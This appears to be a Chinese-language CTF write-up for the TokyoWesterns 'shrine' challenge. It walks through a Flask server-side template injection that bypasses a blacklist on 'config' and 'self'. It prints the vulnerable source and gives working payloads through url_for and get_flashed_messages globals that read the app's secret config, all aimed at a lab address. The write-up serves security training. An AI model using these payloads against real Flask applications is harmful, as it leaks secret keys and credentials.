题目描述

来源：TokyoWesterns CTF

Solution

打开网页，发现是 Python 代码，有flask字样：

1.png

按下右键，选择 View Page Source，阅读源代码：

  2. import flask
  3. import os
  5. app = flask.Flask(__name__)
  7. app.config['FLAG'] = os.environ.pop('FLAG')
  10. @app.route('/')
  11. def index():
  12.     return open(__file__).read()
  15. @app.route('/shrine/<path:shrine>')
  16. def shrine(shrine):
  18.     def safe_jinja(s):
  19.         s = s.replace('(', '').replace(')', '')
  20.         blacklist = ['config', 'self']
  21.         return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
  23.     return flask.render_template_string(safe_jinja(shrine))
  26. if __name__ == '__main__':
  27.     app.run(debug=True)

有源代码可知，路由shrine使用 jinjia 模板引擎生成页面，该路由有一个sage_jinja()函数：

  • 它把(和)都替换成""空字符串；
  • 返回一个字符串，它用了格式化字符串的方法，把黑名单里的字符给替换成None；

我们可以测试一下模板注入情况：

http://111.200.241.244:52838/shrine/{{1+1}}

2.png

我们现在要绕过黑名单，要通过全局变量绕过：

http://111.200.241.244:52838/shrine/{{url_for.__globals__['current_app'].config.FLAG}}

http://111.200.241.244:52838/shrine/{{get_flashed_messages.__globals__['current_app'].config.FLAG}}

3.png